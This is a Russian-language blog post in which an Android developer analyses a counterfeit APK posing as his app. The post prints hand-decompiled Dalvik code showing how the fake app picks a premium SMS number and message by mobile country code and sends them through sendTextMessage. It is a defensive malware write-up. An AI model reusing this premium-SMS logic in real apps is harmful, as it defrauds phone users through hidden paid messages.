Pull to refresh

Мошеннические Android-приложения. Ковыряем врага

Reading time3 min
Views36K
Я являюсь разработчиком Android-приложения и слежу за появлением новых ссылок на него с помощью подписок Google. Сегодня утром я с радостью обнаружил в ящике письмо, в котором присутствовала новая ссылка на мое приложение. Все отлично! И отзыв положительный, и количество загрузок отличное от 0 вот только версия почему-то старая и… размер APK целых 3 мегабайта против оригинальных ~200К

После загрузки и распаковки APK (вспоминаем что APK это просто ZIP-архив) в нем обнаружилась «набивка» из 153 PNG файлов (переименованных зачем-то в .temp) со свидетелем из Фрязино и собственно «приложение»…

Как и следовало ожидать, от оригинального приложения там ничего не осталось. Ни иконки, ни, тем более, кода. А при дальнейшем рассмотрении (похоже что) ВСЕ файлы на androides-os.com — одна и та же программа! Я скачал несколько разных программ из разных разделов и все они были одного размера и с одинаковым содержимым!

Внутри оказалось нечто, которое по беглому анализу ресурсов оказалось приложением, запрашивающим активацию путем отправки SMS. Попробуем разобраться, куда и что отправляется…



Чистый Java-код нам из APK не получить, но можно получить набор инструкций VM Dalvik, который вполне читается глазами без дополнительного софтового обеспечения. С помощью утилиты dexdump из Android SDK сдампим набор инструкций Dalvik в файл…

dexdump -d -f -h classes.dex > dump.dump


Поскольку предполагается, что приложение отправляет SMS, поищем в дампе строку "sendTextMessage" — это функция SDK, предназначенная для отправки текстовых сообщений. Поиск оказывается успешным, находится одно вхождение в методе activate()

Вкратце основные детали метода (получено путем ручной «декомпиляции» dalvik-инструкций):
        // private HashMap<String, ActivationScheme> activationSchemes;
        // private static String CURRENT_ACTIVATION_SCHEME = "1";

        ActivationScheme o = activationSchemes.get(CURRENT_ACTIVATION_SCHEME);

        ArrayList<Pair<String, String>> l = o.list; 
        // first - номер куда слать
        // second - что слать?

        for(Pair o2: l) {
            StringBuilder b;
            String sec = String.valueOf(o2.second); // WTF???
            b = new StringBuilder(sec);
            b.append("+");
            String s3 = schemes.get("2"); // private HashMap<String, String> schemes;
            b.append(s3);
            String result = b.toString(); // "pair.second"+schemes[2]
            String frst = o2.first; // v1
            // mgr == TelephonyManager
            mgr.sendTextMessage(frst, null, result, /* PendingIntent.getBroadcast(...) */, null); 
        }


Т.е. имеется некий набор «схем активации» состоящих из списка пар строк, одна из которых номер на который слать СМС, а другая — что собственно слать.
Попробуем найти схемы активации… в дампе имеется метод initActivationSchemes где можно найти вот такой код:

        ArrayList al = new ArrayList();
        if("250".equals(currentMCC)) { // MCC == Mobile Country Code

            ArrayList<Pair<String, String>> aP = new ArrayList<Pair<String, String>>(); 

            Pair<String, String> p = new Pair<String, String>("4129", "bb031");
            aP.add(p);

            p = new Pair<String, String>("4129", "bb031");
            aP.add(p);

            ActivationScheme sc = new ActivationScheme(aP);
            activationScheme.put(CURRENT_ACTIVATION_SCHEME, sc);
        }


Т.е. для России (MCC == 250) создается активационная схема из отправки двух СМС на номер 4129… Метод наряду с MCC 250 имеет и другие коды стран, и, соответственно, схемы активации для них. Для каждой страны подобрали определенный платный номер.

Тут есть некоторая непонятка. Несмотря на то, что 250 — Россия, номер 4129 (по крайней мере по информации которую я смог найти) пробивается как Украинский. Возможно я допустил ошибку при «декомпиляции» и случайно «записал» в Российский блок коды для Украины…

Собственно как выглядит приложение…
Install — это оно:


При запуске все очень незамысловато:


Есть даже «оферта»:


Такая же «оферта» судя по всему доступна вот тут: http://depositfmobi.ru/ofert
На сайт вышел по названию package приложения: com.depositmobi.

Что интересно, это depositmobi и «QIP.Файлы» и «Rapidshare» одновременно!

Что в итоге? Очень просто способ мошенничества. Делаем сайт, прокачиваем для него SEO по нужным ключевым словам, накачиваем туда тематических новостей и заполняем его простейшей программой отправки СМС на платные номера снабдив ее «офертой» чтобы прикрыть задницу… Можно ли что-то сделать с такими товарищами законными путями?
Tags:
Hubs:
+30
Comments54

Articles